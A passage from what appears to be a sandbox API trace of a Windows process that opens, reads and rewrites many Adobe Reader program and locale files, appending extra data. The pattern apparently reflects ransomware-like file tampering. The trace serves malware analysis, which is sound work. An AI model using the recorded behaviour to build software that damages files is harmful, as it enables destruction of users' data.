lpUsedDefaultChar=0x0) returned 8 [0036.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0036.783] ReadFile (in: hFile=0x1ac, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x32cf2bc*=0x470, lpOverlapped=0x0) returned 1 [0036.786] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.786] WriteFile (in: hFile=0x1ac, lpBuffer=0x2615d98*, nNumberOfBytesToWrite=0x9f8, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2615d98*, lpNumberOfBytesWritten=0x32cf2d0*=0x9f8, lpOverlapped=0x0) returned 1 [0036.786] CloseHandle (hObject=0x1ac) returned 1 [0036.786] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.786] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.786] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x440 [0036.786] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.786] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.786] ReleaseMutex (hMutex=0x128) returned 1 [0036.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6310c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0036.787] ReadFile (in: hFile=0x1ac, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x440, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x32cf2bc*=0x440, lpOverlapped=0x0) returned 1 [0036.788] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.788] WriteFile (in: hFile=0x1ac, lpBuffer=0x2615d98*, nNumberOfBytesToWrite=0x9c8, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2615d98*, lpNumberOfBytesWritten=0x32cf2d0*=0x9c8, lpOverlapped=0x0) returned 1 [0036.788] CloseHandle (hObject=0x1ac) returned 1 [0036.788] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\accessibility.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.788] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.789] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xb000 [0036.789] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.789] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.789] ReleaseMutex (hMutex=0x128) returned 1 [0036.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CAT", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0036.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CAT", cchWideChar=17, lpMultiByteStr=0x1e78b04, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CAT", lpUsedDefaultChar=0x0) returned 17 [0036.789] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0036.804] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xa000 [0036.804] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.804] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xa000 [0036.804] WriteFile (in: hFile=0x1ac, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.804] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0036.804] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.805] CloseHandle (hObject=0x1ac) returned 1 [0036.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ia32.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.805] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.805] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe00 [0036.805] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.805] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.805] ReleaseMutex (hMutex=0x128) returned 1 [0036.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CAT", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CAT", cchWideChar=8, lpMultiByteStr=0x1e6342c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CAT", lpUsedDefaultChar=0x0) returned 8 [0036.805] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf2bc*=0xe00, lpOverlapped=0x0) returned 1 [0036.811] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.811] WriteFile (in: hFile=0x1ac, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x32cf2d0*=0x1388, lpOverlapped=0x0) returned 1 [0036.811] CloseHandle (hObject=0x1ac) returned 1 [0036.811] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\sendmail.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.812] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.812] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4200 [0036.812] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.812] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.812] ReleaseMutex (hMutex=0x128) returned 1 [0036.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CAT", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CAT", lpUsedDefaultChar=0x0) returned 12 [0036.812] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.821] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3200 [0036.821] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.821] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3200 [0036.821] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.821] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0036.821] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.821] CloseHandle (hObject=0x1ac) returned 1 [0036.821] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\brdlang32.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.825] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.825] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3200 [0036.825] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.825] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.825] ReleaseMutex (hMutex=0x128) returned 1 [0036.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CZE", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CZE", lpUsedDefaultChar=0x0) returned 13 [0036.826] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.830] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2200 [0036.830] ReadFile (in: hFile=0x1ac, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.834] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2200 [0036.834] WriteFile (in: hFile=0x1ac, lpBuffer=0x261bdd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x261bdd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.834] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0036.834] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.834] CloseHandle (hObject=0x1ac) returned 1 [0036.834] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\PPKLite.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ppklite.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.835] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.835] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x7d000 [0036.835] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.835] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.835] ReleaseMutex (hMutex=0x128) returned 1 [0036.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CZE", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.CZE", lpUsedDefaultChar=0x0) returned 11 [0036.835] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613c48, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2613c48*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0036.841] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7c000 [0036.841] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.845] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7c000 [0036.845] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.846] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0036.846] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0036.846] CloseHandle (hObject=0x1ac) returned 1 [0036.846] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\updater.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\updater.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.846] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.846] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2a00 [0036.846] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.846] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.846] ReleaseMutex (hMutex=0x128) returned 1 [0036.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CZE", cchWideChar=11, lpMultiByteStr=0x1e6310c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CZE", lpUsedDefaultChar=0x0) returned 11 [0036.847] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.848] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1a00 [0036.848] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.850] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1a00 [0036.851] WriteFile (in: hFile=0x1ac, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.852] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0036.852] WriteFile (in: hFile=0x1ac, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.852] CloseHandle (hObject=0x1ac) returned 1 [0036.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\eBook.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ebook.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0036.860] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.860] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1a00 [0036.860] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.860] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.860] ReleaseMutex (hMutex=0x128) returned 1 [0036.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DAN", cchWideChar=9, lpMultiByteStr=0x1e6314c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.DAN", lpUsedDefaultChar=0x0) returned 9 [0036.860] ReadFile (in: hFile=0x1b4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0036.867] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.867] WriteFile (in: hFile=0x1b4, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x32cf2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0036.867] CloseHandle (hObject=0x1b4) returned 1 [0036.868] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SaveAsRTF.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\saveasrtf.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0036.868] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.868] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4600 